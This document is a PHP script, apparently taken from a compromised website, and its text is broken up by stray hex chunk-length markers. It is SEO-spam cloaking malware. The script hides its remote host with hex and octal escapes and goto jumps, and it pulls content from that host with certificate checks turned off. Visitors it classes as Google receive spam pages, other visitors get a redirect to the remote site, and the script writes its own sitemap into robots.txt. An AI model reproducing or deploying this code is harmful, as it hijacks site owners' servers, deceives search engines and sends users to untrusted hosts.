3 true, CURLOPT_CONNECTTI 34 MEOUT => 5, CURLOPT_TIMEOUT => 8 2e , CURLOPT_SSL_VERIFYPEER => false 4b , CURLOPT_SSL_VERIFYHOST => false, CURLOPT_FOLLOW 31 LOCATION => false, CURLOPT_USERAGENT 2d => "Mozilla/5.0" ]); 2b $data = curl_exec($ch); curl_close 32 ($ch); } if (empty($data) && ini_get(' 25 allow_url_fopen')) { $contex 29 t = stream_context_create([ 1a "http" => ["timeout" => 8, 18 "header" => "User-Agent 28 : Mozilla/5.0\r\n"], "ssl" 2c => ["verify_peer" => false, "verify_peer_na 44 me" => false] ]); $data = @file_get_contents($url, 44 false, $context); } if (!empty($data)) cache_set($url, 4c $data); return $data; } /* ------------------------- URL 信 41 ------------------------- */ function get_url_info(string $t 1f ype='domain'): string { $h 24 ost = $_SERVER['HTTP_HOST'] ?? ''; 1a if ($type === 'no_www' 1e ) return preg_replace('/^www\. 1f /i', '', $host); $protoc 34 ol = (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] 20 !== 'off') ? "https://" : "http 24 ://"; $base = $protocol . $host 54 ; if ($type === 'base') return $base; if ($type === 'full') return $base 21 . ($_SERVER['REQUEST_URI'] ?? '' 48 ); return $host; } /* ------------------------- 基础 2f 量 ------------------------- */ goto ONPuB 29 ; ONPuB: $http_type = !empty($_SERVER["\x 22 48\124\x54\x50\x53"]) && $_SERVER[ 26 "\x48\124\124\x50\x53"] !== "\157\x66\ 1b 146" ? "\150\x74\x74\x70\16 14 3\72\x2f\x2f" : "\x6 20 8\164\164\160\72\x2f\57"; goto O 1b 4O9k; O4O9k: $vurl = "\x74\ 20 157\56\152\147\141\x6c\x6c\163\x 20 2e\143\157\x6d\x2f"; goto vgv72; 21 vgv72: $qz = substr(str_replace( 1f array("\x77\x77\167\x2e", "\56" 25 ), '', $_SERVER["\110\x54\x54\120\x5f 1d \x48\x4f\123\x54"]), 0, 3); 2f /* ------------------------- 解析 f 参 41 数 ------------------------- */ $sz = $iid = ""; if(!empty($_ 18 GET)){ $f=reset($_GET) 2c ; $sp = explode('-', $f); if (coun 23 t($sp) === 2) { $sz = $sp 4e [0]; $iid = $sp[1]; } } /* ------------------------- 远 36 程接口 ------------------------- */ if (!empty($s 2b z)) { $jd = getCurlFast("{$http_type}{ 13 $vurl}3kg.aspx?sz=" 52 . urlencode($sz)); } else { $jd = getCurlFast("{$http_type}{$vurl}3kg.aspx? 5a xy={$http_type}"); $sz = getCurlFast("{$http_type}{$vurl}3kg.aspx?jd=" . urlencode($j 1b d)); } $hyzhdy = $jd . 29 "41.aspx"; $surl = $jd . "s41.aspx"; 30 /* ------------------------- robots / si 7c temap ------------------------- */ $sitemapLine = "Sitemap: {$http_type}{$_SERVER['HTTP_HOST']}{$_SERVER['SCRIPT_NAME']}?w 16 =" . date('YmdHi') . " 31 \n"; function ensure_robots_sitemap($sitemapLine 28 ) { $robots = rtrim($_SERVER['DOCUM 1d ENT_ROOT'], "/\\") . '/robots 32 .txt'; if (!file_exists($robots)) { 32 @file_put_contents($robots, "User-agent: *\nAllow: 74 /\n" . $sitemapLine, LOCK_EX); } else { $c = @file_get_contents($robots); if ($c === false | 51 | strpos($c, $sitemapLine) === false) { @file_put_contents($robots, 2b $sitemapLine, FILE_APPEND | LOCK_EX); 3f } } } /* ------------------------- w= 输出 45 ------------------------- */ if (!empty($get['w'])) { $para 15 ms = http_build_query 27 ([ 'NOUmber' => $get['NOUmber' 4c ] ?? '', 't' => $get['t'] ?? '', 'cn' => $get[' 45 cn'] ?? '', 'pNOUm' => $get['pNOUm'] ?? '', 'cid' 52 => $get['cid'] ?? '', 'm' => $get['m'] ?? '' ]); $ 31 str = getCurlFast("{$surl}?{$params}"); ec 23 ho str_replace( ['yymm','g 39 gggg','?f='], [$http_type.$_SERVER['HTTP_HOST']. 34 $_SERVER['SCRIPT_NAME'], $sz,'?'.$qz.'='], 48 $str ); exit; } /* ------------------------- IP 判 f (保留 kk 55 测试) ------------------------- */ $kk = isset($get['kk']) ? trim($get['kk']) : cb ''; $ip = ($kk !== '') ? "66.249.82.8" : get_real_ip(); /* ------------------------- getdomain2 判断 ------------------------- */ $domain = trim(getCurlFast($jd . "getdomain2.aspx?rnd=1&ip 3d =" . $ip)); /* ------------------------- 非 google 10 + iid → 跳转 47 ------------------------- */ if ($domain !== 'google' && !empty($iid 32 )) { $kname = urldecode(getCurlFast($jd . "gn 27 .aspx?iid=" . $iid)); echo 'location="' . $jd . "a.aspx?c 33 name=" . urlencode($kname) . "&url=" . $http_type . d6 $_SERVER['HTTP_HOST'] . $_SERVER['SCRIPT_NAME'] . '"'; exit; } /* ------------------------- iid 输出 ------------------------- */ if (!empty($iid)) { $str = getCurlFast($hyzhdy . " 45 ?iid={$iid}"); echo str_replace( ['ggggg','YYYYY','XX 18 XYYY','当前URL','UUUUU 45 ','MMMMM','?f='], [$sz, get_url_info(), get_url_info('base') 38 , get_url_info('full'), get_url_info('no_www'),parse_url 27 ($_SERVER['REQUEST_URI'], PHP_URL_PATH) 93 ,'?'.$qz.'='], $str ); exit; } /* ------------------------- sitemap helper ------------------------- */ function out 2d put_sitemap_and_exit($sitemapLine, $http_type 44 ) { ensure_robots_sitemap($sitemapLine); echo "
64 Sitemap
"; exit; } /* ------------------------- kk 输出控制 40 ------------------------- */ if ($kk !== '' && preg_match('/^ e [A-Za-z0-9]+$/ 43 ', $kk)) { $remote = getCurlFast($jd . "getdomain2.aspx?rnd=2& 32 kk=" . $kk); if (!empty($remote)) { 3d echo $remote; exit; } } if ($kk !== '' && ! 75 preg_match('/^[A-Za-z0-9]+$/', $kk)) { output_sitemap_and_exit($sitemapLine, $http_type); } $is_no_query = e 2c mpty($_SERVER['QUERY_STRING']); if ($kk = 77 == '' && $is_no_query) { if ($domain === 'google') { output_sitemap_and_exit($sitemapLine, $http_type); 61 } else { exit; } } output_sitemap_and_exit($sitemapLine, $http_type); ?> 0